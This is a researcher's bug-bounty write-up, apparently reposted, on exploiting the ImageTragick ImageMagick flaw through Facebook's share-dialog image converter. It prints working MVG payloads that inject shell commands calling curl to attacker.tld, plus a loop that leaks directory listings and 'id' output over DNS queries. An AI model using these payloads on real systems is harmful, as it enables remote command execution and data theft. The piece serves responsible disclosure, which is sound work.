I want to believe that all of you know about ImageMagick and its Tragick. This issue was found in the end of the April, 2016 and due to many processing plugins depends on the ImageMagick library this issue has a huge impact. Since there were evidences that information about this issue was available not only for researchers, who discovered it and ImageMagick’s development team, but also for others, on the 3rd of May, 2016 the information (without PoC) was disclosed. Many of researchers got this low-hanging fruit while discovering applications which were not updated in time. But for some unknowable reason i was not among them. But this was in May:)
Once upon a time on Saturday in October i was testing some big service (not Facebook) when some redirect followed me on Facebook. It was a «Share on Facebook» dialog:
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H
Which many of you could see. If we look closer we can see that a `picture` parameter is a url. But there isn’t image url on page content like mentioned above. For example:
https://www.google.com/images/errors/robot.png
becomes:
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb
First of all I thought about some kind of SSRF issue. But tests showed that url from this parameter requested from 31.13.97.* network by facebookexternalhit/1.1. Example:
nc -lvvv 8088 Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted GET /exploit.png?ddfadsvdbv HTTP/1.1 User-Agent: facebookexternalhit/1.1 (+https://www.facebook.com/externalhit_uatext.php) Accept: */* Accept-Encoding: deflate, gzip Host: attacker.tld Connection: keep-alive
It looks like proper request from isolated server(s).
But in any case application converts image with some kind of converter and I started to dig deeper. After some tests of this parameter (one of my favorite, which brought me a lot of money – parse SVG, which is a XML by design, to get an SSRF issue from converter’s instance, which not always the same as server which requested image or, if I’m in big luck, to get an XXE issue.) i was disappointed. No ones fired. ImageTragick was last hope. Although I had no hope. If you are not familiar with this issue or lazy a bit – here is a PoC url.
Simple payload exploit.png:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "https://attacker.tld/" -d @- > /dev/null`' pop graphic-context
Drumroll… and nothing happens.
$ nc -lvvv 80
Facepalm and Okay.
– But what if… if there is just some firewall restriction? – I asked myself.
Ok. It often happens when company blocked common requests but not DNS. Let’s try payload:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "https://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context
And result is:
IP: 31.13.*.*; NetName: LLA1-11 NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
Whois of this IP said that:
netname: LLA1-11 descr: Facebook
Let’s begin the party 🙂
So, application’s workflow is:
- Gets `picture` parameter and requests it – this request is correct and not vulnerable
- Received picture passes on converter’s instance which used vulnerable ImageMagick library
To be honest I tried to find common way to exploit this http request but short tests shown that either all outbound ports are closed or I will spend a lot of time to find one that will be open. And I went another way which is sufficient for PoC.
Payload:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "https://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context
And result was:
NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A …
and so on…
`id` shell command returned:
NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A
For full proof that exploit works I provided Facebook security team with result of `cat /proc/version` output which is not going to publish here.
According to Facebook’s Responsible Disclosure Policy no steps deeper were taken.
Already after initial report we discussed with Neal from Facebook security team that `cat /proc/version | base64` could be more useful and some deeper research showed that `base32` is more commonly used for various techniques including DNS tunneling.
Source:https://4lemon.ru
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.